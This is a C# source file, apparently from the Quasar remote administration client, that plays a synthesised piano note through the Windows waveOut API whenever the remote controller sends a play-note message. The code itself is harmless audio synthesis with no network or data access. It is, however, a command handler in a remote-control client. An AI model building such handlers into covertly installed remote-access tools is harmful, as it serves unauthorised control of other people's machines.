using Quasar.Common.Messages;
using Quasar.Common.Networking;
using System;
using System.Runtime.InteropServices;
using System.Threading;

namespace Quasar.Client.Messages
{
    public class PianoHandler : IMessageProcessor
    {
        public bool CanExecute(IMessage message) => message is DoPlayNote;
        public bool CanExecuteFrom(ISender sender) => true;

        public void Execute(ISender sender, IMessage message)
        {
            var note = (DoPlayNote)message;
            new Thread(() => PlayNote(note.Frequency, note.DurationMs)) { IsBackground = true }.Start();
        }

        // ── waveOut P/Invoke ─────────────────────────────────────────────────

        [StructLayout(LayoutKind.Sequential)]
        private struct WAVEFORMATEX
        {
            public ushort wFormatTag, nChannels;
            public uint   nSamplesPerSec, nAvgBytesPerSec;
            public ushort nBlockAlign, wBitsPerSample, cbSize;
        }

        [StructLayout(LayoutKind.Sequential)]
        private struct WAVEHDR
        {
            public IntPtr lpData;
            public uint   dwBufferLength, dwBytesRecorded;
            public IntPtr dwUser;
            public uint   dwFlags, dwLoops;
            public IntPtr lpNext, reserved;
        }

        [DllImport("winmm.dll")] static extern uint waveOutOpen(out IntPtr h, uint dev, ref WAVEFORMATEX fmt, IntPtr cb, IntPtr inst, uint flags);
        [DllImport("winmm.dll")] static extern uint waveOutPrepareHeader(IntPtr h, ref WAVEHDR hdr, uint sz);
        [DllImport("winmm.dll")] static extern uint waveOutWrite(IntPtr h, ref WAVEHDR hdr, uint sz);
        [DllImport("winmm.dll")] static extern uint waveOutUnprepareHeader(IntPtr h, ref WAVEHDR hdr, uint sz);
        [DllImport("winmm.dll")] static extern uint waveOutClose(IntPtr h);

        private const uint WAVE_MAPPER = 0xFFFFFFFF;
        private const int  SAMPLE_RATE = 44100;

        private static void PlayNote(int frequency, int durationMs)
        {
            try
            {
                int numSamples = SAMPLE_RATE * durationMs / 1000;
                byte[] buf = new byte[numSamples * 2]; // 16-bit mono PCM

                int attack  = Math.Min(200,  numSamples / 8);
                int release = Math.Min(8000, numSamples * 2 / 3);

                for (int i = 0; i < numSamples; i++)
                {
                    double t = (double)i / SAMPLE_RATE;

                    // Natural piano-like amplitude envelope
                    double env = 1.0;
                    if (i < attack)
                        env = (double)i / attack;
                    else if (i > numSamples - release)
                        env = (double)(numSamples - i) / release;

                    // Fundamental + harmonics with exponential decay (makes it sound like a struck string)
                    double decay = Math.Exp(-3.5 * t);
                    double wave = env * (
                        0.60 * Math.Sin(2 * Math.PI * frequency       * t) * (0.35 + 0.65 * decay) +
                        0.22 * Math.Sin(2 * Math.PI * frequency * 2.0 * t) * decay +
                        0.10 * Math.Sin(2 * Math.PI * frequency * 3.0 * t) * decay +
                        0.05 * Math.Sin(2 * Math.PI * frequency * 4.0 * t) * decay +
                        0.03 * Math.Sin(2 * Math.PI * frequency * 5.0 * t) * decay
                    );

                    short pcm = (short)(wave * 26000);
                    buf[i * 2]     = (byte)(pcm & 0xFF);
                    buf[i * 2 + 1] = (byte)((pcm >> 8) & 0xFF);
                }

                var fmt = new WAVEFORMATEX
                {
                    wFormatTag    = 1, // PCM
                    nChannels     = 1,
                    nSamplesPerSec  = SAMPLE_RATE,
                    wBitsPerSample  = 16,
                    nBlockAlign     = 2,
                    nAvgBytesPerSec = SAMPLE_RATE * 2
                };

                IntPtr hWave;
                if (waveOutOpen(out hWave, WAVE_MAPPER, ref fmt, IntPtr.Zero, IntPtr.Zero, 0) != 0) return;

                GCHandle pin = GCHandle.Alloc(buf, GCHandleType.Pinned);
                try
                {
                    uint hdrSz = (uint)Marshal.SizeOf(typeof(WAVEHDR));
                    var hdr = new WAVEHDR { lpData = pin.AddrOfPinnedObject(), dwBufferLength = (uint)buf.Length };
                    waveOutPrepareHeader(hWave, ref hdr, hdrSz);
                    waveOutWrite(hWave, ref hdr, hdrSz);
                    Thread.Sleep(durationMs + 100); // wait for playback to finish
                    waveOutUnprepareHeader(hWave, ref hdr, hdrSz);
                }
                finally
                {
                    pin.Free();
                    waveOutClose(hWave);
                }
            }
            catch { }
        }
    }
}
